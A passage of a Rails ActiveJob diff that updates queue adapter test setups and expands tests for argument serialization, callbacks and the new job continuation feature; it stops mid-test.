+++ b/activejob/test/adapters/delayed_job.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 ActiveJob::Base.queue_adapter = :delayed_job
 
-$LOAD_PATH << File.dirname(__FILE__) + "/../support/delayed_job"
+$LOAD_PATH << File.expand_path("../support/delayed_job", __dir__)
+require "active_support/core_ext/kernel/reporting"
 
 Delayed::Worker.delay_jobs = false
 Delayed::Worker.backend    = :test
diff --git a/activejob/test/adapters/inline.rb b/activejob/test/adapters/inline.rb
index 24113dfa5a0e2..b1ddcb28f1798 100644
--- a/activejob/test/adapters/inline.rb
+++ b/activejob/test/adapters/inline.rb
@@ -1 +1,3 @@
+# frozen_string_literal: true
+
 ActiveJob::Base.queue_adapter = :inline
diff --git a/activejob/test/adapters/qu.rb b/activejob/test/adapters/qu.rb
deleted file mode 100644
index b89c50409199b..0000000000000
--- a/activejob/test/adapters/qu.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-require "qu-immediate"
-
-ActiveJob::Base.queue_adapter = :qu
diff --git a/activejob/test/adapters/que.rb b/activejob/test/adapters/que.rb
deleted file mode 100644
index 0c49274a4e627..0000000000000
--- a/activejob/test/adapters/que.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require "support/que/inline"
-
-ActiveJob::Base.queue_adapter = :que
-Que.mode = :sync
diff --git a/activejob/test/adapters/queue_classic.rb b/activejob/test/adapters/queue_classic.rb
index e301a7ca96c53..73902a5e6214c 100644
--- a/activejob/test/adapters/queue_classic.rb
+++ b/activejob/test/adapters/queue_classic.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 require "support/queue_classic/inline"
 ActiveJob::Base.queue_adapter = :queue_classic
diff --git a/activejob/test/adapters/resque.rb b/activejob/test/adapters/resque.rb
index af7080358d3c5..ad84a49372614 100644
--- a/activejob/test/adapters/resque.rb
+++ b/activejob/test/adapters/resque.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 ActiveJob::Base.queue_adapter = :resque
 Resque.inline = true
diff --git a/activejob/test/adapters/sidekiq.rb b/activejob/test/adapters/sidekiq.rb
index 8036331ef1e7f..7df1c364887b6 100644
--- a/activejob/test/adapters/sidekiq.rb
+++ b/activejob/test/adapters/sidekiq.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 require "sidekiq/testing/inline"
 ActiveJob::Base.queue_adapter = :sidekiq
diff --git a/activejob/test/adapters/sneakers.rb b/activejob/test/adapters/sneakers.rb
index 159c0d1906add..38d82aa778851 100644
--- a/activejob/test/adapters/sneakers.rb
+++ b/activejob/test/adapters/sneakers.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 require "support/sneakers/inline"
 ActiveJob::Base.queue_adapter = :sneakers
diff --git a/activejob/test/adapters/sucker_punch.rb b/activejob/test/adapters/sucker_punch.rb
deleted file mode 100644
index 5661b6ee9268e..0000000000000
--- a/activejob/test/adapters/sucker_punch.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require "sucker_punch/testing/inline"
-ActiveJob::Base.queue_adapter = :sucker_punch
diff --git a/activejob/test/adapters/test.rb b/activejob/test/adapters/test.rb
index 7180b38a57dc5..0a1367dacfbb8 100644
--- a/activejob/test/adapters/test.rb
+++ b/activejob/test/adapters/test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 ActiveJob::Base.queue_adapter = :test
 ActiveJob::Base.queue_adapter.perform_enqueued_jobs = true
 ActiveJob::Base.queue_adapter.perform_enqueued_at_jobs = true
diff --git a/activejob/test/cases/adapter_test.rb b/activejob/test/cases/adapter_test.rb
index caf5d44a5e8e4..5a1c1f9281ad9 100644
--- a/activejob/test/cases/adapter_test.rb
+++ b/activejob/test/cases/adapter_test.rb
@@ -1,7 +1,25 @@
+# frozen_string_literal: true
+
 require "helper"
 
 class AdapterTest < ActiveSupport::TestCase
   test "should load #{ENV['AJ_ADAPTER']} adapter" do
     assert_equal "active_job/queue_adapters/#{ENV['AJ_ADAPTER']}_adapter".classify, ActiveJob::Base.queue_adapter.class.name
   end
+
+  if adapter_is?(:sidekiq)
+    test "sidekiq adapter should be deprecated" do
+      before_adapter = ActiveJob::Base.queue_adapter
+
+      msg = <<~MSG.squish
+        The built-in `sidekiq` adapter is deprecated and will be removed in Rails 8.2.
+        Please upgrade `sidekiq` gem to version 7.3.3 or later to use the `sidekiq` gem's adapter.
+      MSG
+      assert_deprecated(msg, ActiveJob.deprecator) do
+        ActiveJob::Base.queue_adapter = :sidekiq
+      end
+    ensure
+      ActiveJob::Base.queue_adapter = before_adapter
+    end
+  end
 end
diff --git a/activejob/test/cases/argument_serialization_test.rb b/activejob/test/cases/argument_serialization_test.rb
index 7934d8e55640d..015285dcf68e3 100644
--- a/activejob/test/cases/argument_serialization_test.rb
+++ b/activejob/test/cases/argument_serialization_test.rb
@@ -1,25 +1,90 @@
+# frozen_string_literal: true
+
+require "json"
+require "bigdecimal"
 require "helper"
-require "active_job/arguments"
 require "models/person"
 require "active_support/core_ext/hash/indifferent_access"
+require "active_support/core_ext/integer/time"
+require "active_support/duration"
 require "jobs/kwargs_job"
+require "jobs/arguments_round_trip_job"
+require "support/stubs/strong_parameters"
 
 class ArgumentSerializationTest < ActiveSupport::TestCase
+  module ModuleArgument
+    class ClassArgument; end
+  end
+
+  class ClassArgument; end
+
+  class MyClassWithPermitted
+    def self.permitted?
+    end
+  end
+
+  class MyString < String
+  end
+
+  class MyStringSerializer < ActiveJob::Serializers::ObjectSerializer
+    def serialize(argument)
+      super({ "value" => argument.to_s })
+    end
+
+    def deserialize(hash)
+      MyString.new(hash["value"])
+    end
+
+    def klass
+      MyString
+    end
+  end
+
+  class StringWithoutSerializer < String
+  end
+
   setup do
     @person = Person.find("5")
+    @original_serializers = ActiveJob::Serializers.serializers
+  end
+
+  teardown do
+    ActiveJob::Serializers.serializers = @original_serializers
   end
 
   [ nil, 1, 1.0, 1_000_000_000_000_000_000_000,
-    "a", true, false, BigDecimal.new(5),
+    "a", true, false, BigDecimal(5),
+    :a,
+    1.day,
+    Date.new(2001, 2, 3),
+    Time.new(2002, 10, 31, 2, 2, 2.123456789r, "+02:00"),
+    DateTime.new(2001, 2, 3, 4, 5, 6.123456r, "+03:00"),
+    ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, "59.123456789".to_r), ActiveSupport::TimeZone["UTC"]),
     [ 1, "a" ],
-    { "a" => 1 }
+    { "a" => 1 },
+    ModuleArgument,
+    ModuleArgument::ClassArgument,
+    ClassArgument,
+    1..,
+    1...,
+    1..5,
+    1...5,
+    "a".."z",
+    "A".."Z",
+    Date.new(2001, 2, 3)..,
+    10.days.ago..Date.today,
+    Time.new(2002, 10, 31, 2, 2, 2.123456789r, "+02:00")..,
+    10.hours.ago..Time.current,
+    DateTime.new(2001, 2, 3, 4, 5, 6.123456r, "+03:00")..,
+    (DateTime.current - 4.weeks)..DateTime.current,
+    ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, "59.123456789".to_r), ActiveSupport::TimeZone["UTC"])..,
   ].each do |arg|
-    test "serializes #{arg.class} - #{arg} verbatim" do
+    test "serializes #{arg.class} - #{arg.inspect} verbatim" do
       assert_arguments_unchanged arg
     end
   end
 
-  [ :a, Object.new, self, Person.find("5").to_gid ].each do |arg|
+  [ Object.new, Person.find("5").to_gid, Class.new ].each do |arg|
     test "does not serialize #{arg.class}" do
       assert_raises ActiveJob::SerializationError do
         ActiveJob::Arguments.serialize [ arg ]
@@ -35,6 +100,10 @@ class ArgumentSerializationTest < ActiveSupport::TestCase
     assert_arguments_roundtrip [@person]
   end
 
+  test "should keep Global IDs strings as they are" do
+    assert_arguments_roundtrip [@person.to_gid.to_s]
+  end
+
   test "should dive deep into arrays and hashes" do
     assert_arguments_roundtrip [3, [@person]]
     assert_arguments_roundtrip [{ "a" => @person }]
@@ -44,6 +113,91 @@ class ArgumentSerializationTest < ActiveSupport::TestCase
     assert_arguments_roundtrip([a: 1, "b" => 2])
   end
 
+  test "serialize a ActionController::Parameters" do
+    ActiveJob::Serializers.add_serializers ActiveJob::Serializers::ActionControllerParametersSerializer
+
+    parameters = Parameters.new(a: 1)
+
+    assert_equal(
+      { "a" => 1, "_aj_hash_with_indifferent_access" => true },
+      ActiveJob::Arguments.serialize([parameters]).first
+    )
+  end
+
+  # Regression test to #48561
+  test "serialize a class with permitted? defined" do
+    assert_arguments_unchanged MyClassWithPermitted
+  end
+
+  test "serialize a String subclass object" do
+    original_serializers = ActiveJob::Serializers.serializers
+    ActiveJob::Serializers.add_serializers(MyStringSerializer)
+
+    my_string = MyString.new("foo")
+    serialized = ActiveJob::Arguments.serialize([my_string])
+    deserialized = ActiveJob::Arguments.deserialize(JSON.load(JSON.dump(serialized))).first
+    assert_instance_of MyString, deserialized
+    assert_equal my_string, deserialized
+  ensure
+    ActiveJob::Serializers.serializers = original_serializers
+  end
+
+  test "serialize a String subclass object without a serializer" do
+    string_without_serializer = StringWithoutSerializer.new("foo")
+    serialized = ActiveJob::Arguments.serialize([string_without_serializer])
+    deserialized = ActiveJob::Arguments.deserialize(JSON.load(JSON.dump(serialized))).first
+    assert_instance_of String, deserialized
+    assert_equal string_without_serializer, deserialized
+  end
+
+  test "serialize a hash" do
+    symbol_key = { a: 1 }
+    string_key = { "a" => 1 }
+    indifferent_access = { a: 1 }.with_indifferent_access
+
+    assert_equal(
+      { "a" => 1, "_aj_symbol_keys" => ["a"] },
+      ActiveJob::Arguments.serialize([symbol_key]).first
+    )
+    assert_equal(
+      { "a" => 1, "_aj_symbol_keys" => [] },
+      ActiveJob::Arguments.serialize([string_key]).first
+    )
+    assert_equal(
+      { "a" => 1, "_aj_hash_with_indifferent_access" => true },
+      ActiveJob::Arguments.serialize([indifferent_access]).first
+    )
+  end
+
+  test "deserialize a hash" do
+    symbol_key = { "a" => 1, "_aj_symbol_keys" => ["a"] }
+    string_key = { "a" => 1, "_aj_symbol_keys" => [] }
+    another_string_key = { "a" => 1 }
+    indifferent_access = { "a" => 1, "_aj_hash_with_indifferent_access" => true }
+    indifferent_access_symbol_key = symbol_key.with_indifferent_access
+
+    assert_equal(
+      { a: 1 },
+      ActiveJob::Arguments.deserialize([symbol_key]).first
+    )
+    assert_equal(
+      { "a" => 1 },
+      ActiveJob::Arguments.deserialize([string_key]).first
+    )
+    assert_equal(
+      { "a" => 1 },
+      ActiveJob::Arguments.deserialize([another_string_key]).first
+    )
+    assert_equal(
+      { "a" => 1 },
+      ActiveJob::Arguments.deserialize([indifferent_access]).first
+    )
+    assert_equal(
+      { a: 1 },
+      ActiveJob::Arguments.deserialize([indifferent_access_symbol_key]).first
+    )
+  end
+
   test "should maintain hash with indifferent access" do
     symbol_key = { a: 1 }
     string_key = { "a" => 1 }
@@ -54,6 +208,20 @@ class ArgumentSerializationTest < ActiveSupport::TestCase
     assert_instance_of ActiveSupport::HashWithIndifferentAccess, perform_round_trip([indifferent_access]).first
   end
 
+  test "should maintain time with zone" do
+    Time.use_zone "Alaska" do
+      time_with_zone = Time.new(2002, 10, 31, 2, 2, 2).in_time_zone
+      assert_instance_of ActiveSupport::TimeWithZone, perform_round_trip([time_with_zone]).first
+      assert_arguments_unchanged time_with_zone
+    end
+  end
+
+  test "should maintain a functional duration" do
+    duration = perform_round_trip([1.year]).first
+    assert_kind_of Hash, duration.parts
+    assert_equal 2.years, duration + 1.year
+  end
+
   test "should disallow non-string/symbol hash keys" do
     assert_raises ActiveJob::SerializationError do
       ActiveJob::Arguments.serialize [ { 1 => 2 } ]
@@ -65,8 +233,10 @@ class ArgumentSerializationTest < ActiveSupport::TestCase
   end
 
   test "should not allow reserved hash keys" do
-    ["_aj_globalid", :_aj_globalid, "_aj_symbol_keys", :_aj_symbol_keys,
-     "_aj_hash_with_indifferent_access", :_aj_hash_with_indifferent_access].each do |key|
+    ["_aj_globalid", :_aj_globalid,
+     "_aj_symbol_keys", :_aj_symbol_keys,
+     "_aj_hash_with_indifferent_access", :_aj_hash_with_indifferent_access,
+     "_aj_serialized", :_aj_serialized].each do |key|
       assert_raises ActiveJob::SerializationError do
         ActiveJob::Arguments.serialize [key => 1]
       end
@@ -84,7 +254,7 @@ class ArgumentSerializationTest < ActiveSupport::TestCase
   end
 
   test "allows for keyword arguments" do
-    KwargsJob.perform_later(argument: 2)
+    KwargsJob.perform_now(argument: 2)
 
     assert_equal "Job with argument: 2", JobBuffer.last_value
   end
@@ -106,6 +276,8 @@ def assert_arguments_roundtrip(args)
     end
 
     def perform_round_trip(args)
-      ActiveJob::Arguments.deserialize(ActiveJob::Arguments.serialize(args))
+      ArgumentsRoundTripJob.perform_later(*args) # Actually performed inline
+
+      JobBuffer.last_value
     end
 end
diff --git a/activejob/test/cases/async_adapter_test.rb b/activejob/test/cases/async_adapter_test.rb
new file mode 100644
index 0000000000000..4c61810f9109b
--- /dev/null
+++ b/activejob/test/cases/async_adapter_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/hello_job"
+
+return unless adapter_is?(:async)
+
+class AsyncAdapterTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+    ActiveJob::Base.queue_adapter.immediate = true
+  end
+
+  test "in immediate run, perform_later runs immediately" do
+    HelloJob.perform_later "Alex"
+    assert_match(/Alex/, JobBuffer.last_value)
+  end
+
+  test "in immediate run, enqueue with wait: runs immediately" do
+    HelloJob.set(wait_until: Date.tomorrow.noon).perform_later "Alex"
+    assert_match(/Alex/, JobBuffer.last_value)
+  end
+end
diff --git a/activejob/test/cases/callbacks_test.rb b/activejob/test/cases/callbacks_test.rb
index 8d1c9c3058e98..4e036ec1058a9 100644
--- a/activejob/test/cases/callbacks_test.rb
+++ b/activejob/test/cases/callbacks_test.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
 require "helper"
 require "jobs/callback_job"
+require "jobs/abort_before_enqueue_job"
 
 require "active_support/core_ext/object/inclusion"
 
@@ -13,6 +16,32 @@ class CallbacksTest < ActiveSupport::TestCase
     assert "CallbackJob ran around_perform_stop".in? performed_callback_job.history
   end
 
+  test "perform return value" do
+    job = Class.new(ActiveJob::Base) do
+      def perform
+        123
+      end
+    end
+
+    assert_equal(123, job.perform_now)
+  end
+
+  test "perform around_callbacks return value" do
+    value = nil
+
+    Class.new(ActiveJob::Base) do
+      around_perform do |_, block|
+        value = block.call
+      end
+
+      def perform
+        123
+      end
+    end.perform_now
+
+    assert_equal(123, value)
+  end
+
   test "enqueue callbacks" do
     enqueued_callback_job = CallbackJob.perform_later
     assert "CallbackJob ran before_enqueue".in? enqueued_callback_job.history
@@ -20,4 +49,27 @@ class CallbacksTest < ActiveSupport::TestCase
     assert "CallbackJob ran around_enqueue_start".in? enqueued_callback_job.history
     assert "CallbackJob ran around_enqueue_stop".in? enqueued_callback_job.history
   end
+
+  test "#enqueue returns false when before_enqueue aborts callback chain" do
+    assert_equal false, AbortBeforeEnqueueJob.new.enqueue
+  end
+
+  test "#enqueue does not run after_enqueue callbacks when previous callbacks aborted" do
+    job = AbortBeforeEnqueueJob.new
+    job.enqueue
+
+    assert_nil(job.flag)
+  end
+
+  test "#perform does not run after_perform callbacks when previous callbacks aborted" do
+    job = AbortBeforeEnqueueJob.new
+    job.perform_now
+
+    assert_nil(job.flag)
+  end
+
+  test "#enqueue returns self when the job was enqueued" do
+    job = CallbackJob.new
+    assert_equal job, job.enqueue
+  end
 end
diff --git a/activejob/test/cases/continuation_test.rb b/activejob/test/cases/continuation_test.rb
new file mode 100644
index 0000000000000..7f7900a37c262
--- /dev/null
+++ b/activejob/test/cases/continuation_test.rb
@@ -0,0 +1,727 @@
+# frozen_string_literal: true
+
+require "helper"
+require "active_job/continuation/test_helper"
+require "active_support/testing/stream"
+require "active_support/core_ext/object/with"
+require "support/test_logger"
+require "support/do_not_perform_enqueued_jobs"
+
+return unless adapter_is?(:test)
+
+class ActiveJob::TestContinuation < ActiveSupport::TestCase
+  include ActiveJob::Continuation::TestHelper
+  include ActiveSupport::Testing::Stream
+  include DoNotPerformEnqueuedJobs
+  include TestLoggerHelper
+
+  class ContinuableJob < ActiveJob::Base
+    include ActiveJob::Continuable
+  end
+
+  IteratingRecord = Struct.new(:id, :name) do
+    cattr_accessor :records
+
+    def self.find_each(start: nil)
+      records.sort_by(&:id).each do |record|
+        next if start && record.id < start
+
+        yield record
+      end
+    end
+  end
+
+  class IteratingJob < ContinuableJob
+    def perform(raise_when_cursor: nil)
+      step :rename do |step|
+        IteratingRecord.find_each(start: step.cursor) do |record|
+          raise StandardError, "Cursor error" if raise_when_cursor && step.cursor == raise_when_cursor
+          record.name = "new_#{record.name}"
+          step.advance! from: record.id
+        end
+      end
+    end
+  end
+
+  test "iterates" do
+    IteratingRecord.records = [ 123, 432, 6565, 3243, 234, 13, 22 ].map { |i| IteratingRecord.new(i, "item_#{i}") }
+
+    IteratingJob.perform_later
+
+    assert_enqueued_jobs 0, only: IteratingJob do
+      perform_enqueued_jobs
+    end
+
+    assert_equal %w[ new_item_123 new_item_432 new_item_6565 new_item_3243 new_item_234 new_item_13 new_item_22 ], IteratingRecord.records.map(&:name)
+  end
+
+  test "iterates and continues" do
+    IteratingRecord.records = [ 123, 432, 6565, 3243, 234, 13, 22 ].map { |i| IteratingRecord.new(i, "item_#{i}") }
+
+    IteratingJob.perform_later
+
+    interrupt_job_during_step IteratingJob, :rename, cursor: 433 do
+      assert_enqueued_jobs 1, only: IteratingJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    assert_equal %w[ new_item_123 new_item_432 item_6565 item_3243 new_item_234 new_item_13 new_item_22 ], IteratingRecord.records.map(&:name)
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal %w[ new_item_123 new_item_432 new_item_6565 new_item_3243 new_item_234 new_item_13 new_item_22 ], IteratingRecord.records.map(&:name)
+  end
+
+  class LinearJob < ContinuableJob
+    cattr_accessor :items
+
+    def perform
+      step :step_one
+      step :step_two
+      step :step_three
+      step :step_four
+    end
+
+    private
+      def step_one
+        items << "item1"
+      end
+
+      def step_two
+        items << "item2"
+      end
+
+      def step_three
+        items << "item3"
+      end
+
+      def step_four
+        items << "item4"
+      end
+  end
+
+  test "linear steps" do
+    LinearJob.items = []
+    LinearJob.perform_later
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal %w[ item1 item2 item3 item4 ], LinearJob.items
+  end
+
+  test "linear steps continues from last point" do
+    LinearJob.items = []
+    LinearJob.perform_later
+
+    interrupt_job_after_step LinearJob, :step_one do
+      assert_enqueued_jobs 1, only: LinearJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    assert_equal %w[ item1 ], LinearJob.items
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal %w[ item1 item2 item3 item4 ], LinearJob.items
+  end
+
+  test "does not checkpoint after the last step" do
+    LinearJob.items = []
+    LinearJob.perform_later
+
+    interrupt_job_after_step LinearJob, :step_three do
+      assert_enqueued_jobs 1, only: LinearJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    interrupt_job_after_step LinearJob, :step_four do
+      assert_enqueued_jobs 0, only: LinearJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    assert_equal %w[ item1 item2 item3 item4 ], LinearJob.items
+  end
+
+  test "runs with perform_now" do
+    LinearJob.items = []
+    LinearJob.perform_now
+
+    assert_equal %w[ item1 item2 item3 item4 ], LinearJob.items
+  end
+
+  class DeletingJob < ContinuableJob
+    cattr_accessor :items
+
+    def perform
+      step :delete do |step|
+        loop do
+          break if items.empty?
+          items.shift
+          step.checkpoint!
+        end
+      end
+    end
+  end
+
+  test "does not retry jobs that error without updating the cursor" do
+    DeletingJob.items = 10.times.map { |i| "item_#{i}" }
+    DeletingJob.perform_later
+
+    assert_enqueued_jobs 0, only: DeletingJob do
+      assert_raises StandardError do
+        queue_adapter.with(stopping: ->() { raise StandardError if during_step?(DeletingJob, :delete) }) do
+          perform_enqueued_jobs
+        end
+      end
+    end
+
+    assert_equal %w[ item_1 item_2 item_3 item_4 item_5 item_6 item_7 item_8 item_9 ], DeletingJob.items
+  end
+
+  test "interrupts without cursors" do
+    DeletingJob.items = 10.times.map { |i| "item_#{i}" }
+    DeletingJob.perform_later
+
+    interrupt_job_during_step DeletingJob, :delete do
+      assert_enqueued_jobs 1, only: DeletingJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    assert_equal 9, DeletingJob.items.count
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal 0, DeletingJob.items.count
+  end
+
+  test "saves progress when there is an error" do
+    IteratingRecord.records = [ 123, 432, 6565, 3243, 234, 13, 22 ].map { |i| IteratingRecord.new(i, "item_#{i}") }
+
+    IteratingJob.perform_later
+
+    queue_adapter.with(stopping: ->() { raise StandardError if during_step?(IteratingJob, :rename, cursor: 433) }) do
+      assert_enqueued_jobs 1, only: IteratingJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    job = queue_adapter.enqueued_jobs.first
+    assert_equal 1, job["executions"]
+
+    assert_equal %w[ new_item_123 new_item_432 item_6565 item_3243 new_item_234 new_item_13 new_item_22 ], IteratingRecord.records.map(&:name)
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal %w[ new_item_123 new_item_432 new_item_6565 new_item_3243 new_item_234 new_item_13 new_item_22 ], IteratingRecord.records.map(&:name)
+  end
+
+  test "does not retry a second error if the cursor did not advance" do
+    IteratingRecord.records = [ 123, 432, 6565, 3243, 234, 13, 22 ].map { |i| IteratingRecord.new(i, "item_#{i}") }
+
+    IteratingJob.perform_later(raise_when_cursor: 433)
+
+    assert_enqueued_jobs 1, only: IteratingJob do
+      perform_enqueued_jobs
+    end
+
+    job = queue_adapter.enqueued_jobs.first
+    assert_equal 1, job["executions"]
+
+    assert_enqueued_jobs 0, only: IteratingJob do
+      assert_raises StandardError do
+        perform_enqueued_jobs
+      end
+    end
+  end
+
+  test "logs interruptions after steps" do
+    LinearJob.items = []
+    LinearJob.perform_later
+
+    interrupt_job_after_step LinearJob, :step_one do
+      perform_enqueued_jobs
+      assert_no_match "Resuming", @logger.messages
+      assert_match(/Step 'step_one' started/, @logger.messages)
+      assert_match(/Step 'step_one' completed/, @logger.messages)
+      assert_match(/Interrupted ActiveJob::TestContinuation::LinearJob \(Job ID: [0-9a-f-]{36}\) after 'step_one' \(stopping\)/, @logger.messages)
+    end
+
+    perform_enqueued_jobs
+
+    assert_match(/Step 'step_one' skipped/, @logger.messages)
+    assert_match(/Resuming ActiveJob::TestContinuation::LinearJob \(Job ID: [0-9a-f-]{36}\) after 'step_one'/, @logger.messages)
+    assert_match(/Step 'step_two' started/, @logger.messages)
+    assert_match(/Step 'step_two' completed/, @logger.messages)
+  end
+
+  test "logs interruptions during steps" do
+    IteratingRecord.records = [ 123, 432, 6565, 3243, 234, 13, 22 ].map { |i| IteratingRecord.new(i, "item_#{i}") }
+    IteratingJob.perform_later
+
+    interrupt_job_during_step IteratingJob, :rename, cursor: 433 do
+      perform_enqueued_jobs
+      assert_no_match "Resuming", @logger.messages
+      assert_match(/Step 'rename' started/, @logger.messages)
+      assert_match(/Step 'rename' interrupted at cursor '433'/, @logger.messages)
+      assert_match(/Interrupted ActiveJob::TestContinuation::IteratingJob \(Job ID: [0-9a-f-]{36}\) at 'rename', cursor '433' \(stopping\)/, @logger.messages)
+    end
+
+    perform_enqueued_jobs
+    assert_match(/Resuming ActiveJob::TestContinuation::IteratingJob \(Job ID: [0-9a-f-]{36}\) at 'rename', cursor '433'/, @logger.messages)
+    assert_match(/Step 'rename' resumed from cursor '433'/, @logger.messages)
+    assert_match(/Step 'rename' completed/, @logger.messages)
+  end
+
+  class DuplicateStepJob < ContinuableJob
+    def perform
+      step :duplicate do |step|
+      end
+      step :duplicate do |step|
+      end
+    end
+  end
+
+  test "duplicate steps raise an error" do
+    DuplicateStepJob.perform_later
+
+    exception = assert_raises ActiveJob::Continuation::InvalidStepError do
+      perform_enqueued_jobs
+    end
+
+    assert_equal "Step 'duplicate' has already been encountered", exception.message
+  end
+
+  class NestedStepsJob < ContinuableJob
+    def perform
+      step :outer_step do
+        # Not allowed!
+        step :inner_step do
+        end
+      end
+    end
+
+    private
+      def inner_step; end
+  end
+
+  test "nested steps raise an error" do
+    NestedStepsJob.perform_later
+
+    exception = assert_raises ActiveJob::Continuation::InvalidStepError do
+      perform_enqueued_jobs
+    end
+
+    assert_equal "Step 'inner_step' is nested inside step 'outer_step'", exception.message
+  end
+
+  class StringStepNameJob < ContinuableJob
+    def perform
+      step "string_step_name" do
+      end
+    end
+  end
+
+  test "string named steps raise an error" do
+    StringStepNameJob.perform_later
+
+    exception = assert_raises ActiveJob::Continuation::InvalidStepError do
+      perform_enqueued_jobs
+    end
+
+    assert_equal "Step 'string_step_name' must be a Symbol, found 'String'", exception.message
+  end
+
+  class ResumeWrongStepJob < ContinuableJob
+    def perform
+      if continuation.send(:started?)
+        step :unexpected do |step|
+        end
+      else
+        step :iterating, start: 0 do |step|
+          ((step.cursor || 1)..4).each do |i|
+            step.advance!
+          end
+        end
+      end
+    end
+  end
+
+  test "unexpected step on resumption raises an error" do
+    ResumeWrongStepJob.perform_later
+
+    interrupt_job_during_step ResumeWrongStepJob, :iterating, cursor: 2 do
+      perform_enqueued_jobs
+    end
+
+    exception = assert_raises ActiveJob::Continuation::InvalidStepError do
+      perform_enqueued_jobs
+    end
+
+    assert_equal "Step 'unexpected' found, expected to resume from 'iterating'", exception.message
+  end
+
+  class ChangedStepOrderJob < ContinuableJob
+    def perform
+      if continuation.send(:started?)
+        step :step_one do; end
+        step :step_two do; end
+        step :step_two_and_a_half do; end
+        step :step_three do; end
+        step :step_four do; end
+      else
+        step :step_one do; end
+        step :step_two do; end
+        step :step_three do; end
+        step :step_four do; end
+      end
+    end
+  end
+
+  test "steps not matching previously completed raises an error" do
+    ChangedStepOrderJob.perform_later
+
+    interrupt_job_after_step ChangedStepOrderJob, :step_three do
+      perform_enqueued_jobs
+    end
+
+    exception = assert_raises ActiveJob::Continuation::InvalidStepError do
+      perform_enqueued_jobs
+    end
+
+    assert_equal "Step 'step_two_and_a_half' found, expected to see 'step_three'", exception.message
+  end
+
+  class AdvancingJob < ContinuableJob
+    def perform(start_from, advance_from = nil)
+      step :test_step, start: start_from do |step|
+        step.advance! from: advance_from
+      end
+    end
+  end
+
+  test "cursor must implement succ to advance" do
+    perform_enqueued_jobs do
+      assert_raises ActiveJob::Continuation::UnadvanceableCursorError do
+        AdvancingJob.perform_later(nil)
+      end
+
+      assert_raises ActiveJob::Continuation::UnadvanceableCursorError do
+        AdvancingJob.perform_later(1.1)
+      end
+
+      assert_raises ActiveJob::Continuation::UnadvanceableCursorError do
+        AdvancingJob.perform_later(nil, 1.1)
+      end
+
+      assert_nothing_raised do
+        AdvancingJob.perform_later(1)
+      end
+
+      assert_nothing_raised do
+        AdvancingJob.perform_later(nil, 1)
+      end
+    end
+  end
+
+  test "deserializes a job with no continuation" do
+    DeletingJob.items = 10.times.map { |i| "item_#{i}" }
+    DeletingJob.perform_later
+
+    queue_adapter.enqueued_jobs.each { |job| job.delete("continuation") }
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal 0, DeletingJob.items.count
+  end
+
+  class NestedCursorJob < ContinuableJob
+    cattr_accessor :items
+
+    def perform
+      step :updating_sub_items, start: [ 0, 0 ] do |step|
+        items[step.cursor[0]..].each do |inner_items|
+          inner_items[step.cursor[1]..].each do |item|
+            items[step.cursor[0]][step.cursor[1]] = "new_#{item}"
+
+            step.set! [ step.cursor[0], step.cursor[1] + 1 ]
+          end
+
+          step.set! [ step.cursor[0] + 1, 0 ]
+        end
+      end
+    end
+  end
+
+  test "nested cursor" do
+    NestedCursorJob.items = [
+      3.times.map { |i| "subitem_0_#{i}" },
+      1.times.map { |i| "subitem_1_#{i}" },
+      2.times.map { |i| "subitem_2_#{i}" }
+    ]
+    NestedCursorJob.perform_later
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal [ %w[ new_subitem_0_0 new_subitem_0_1 new_subitem_0_2 ], %w[ new_subitem_1_0 ], %w[ new_subitem_2_0 new_subitem_2_1 ] ], NestedCursorJob.items
+  end
+
+  test "nested cursor resumes" do
+    NestedCursorJob.items = [
+      3.times.map { |i| "subitem_0_#{i}" },
+      1.times.map { |i| "subitem_1_#{i}" },
+      2.times.map { |i| "subitem_2_#{i}" }
+    ]
+
+    NestedCursorJob.perform_later
+
+    interrupt_job_during_step NestedCursorJob, :updating_sub_items, cursor: [ 0, 2 ] do
+      assert_enqueued_jobs 1 do
+        perform_enqueued_jobs
+      end
+    end
+
+    assert_equal [ %w[ new_subitem_0_0 new_subitem_0_1 subitem_0_2 ], %w[ subitem_1_0 ], %w[ subitem_2_0 subitem_2_1 ] ], NestedCursorJob.items
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal [ %w[ new_subitem_0_0 new_subitem_0_1 new_subitem_0_2 ], %w[ new_subitem_1_0 ], %w[ new_subitem_2_0 new_subitem_2_1 ] ], NestedCursorJob.items
+  end
+
+  class ArrayCursorJob < ContinuableJob
+    cattr_accessor :items, default: []
+
+    def perform(objects)
+      step :iterate_objects, start: 0 do |step|
+        objects[step.cursor..].each do |object|
+          items << object
+          step.advance!
+        end
+      end
+    end
+  end
+
+  test "iterates over array cursor" do
+    ArrayCursorJob.items = []
+
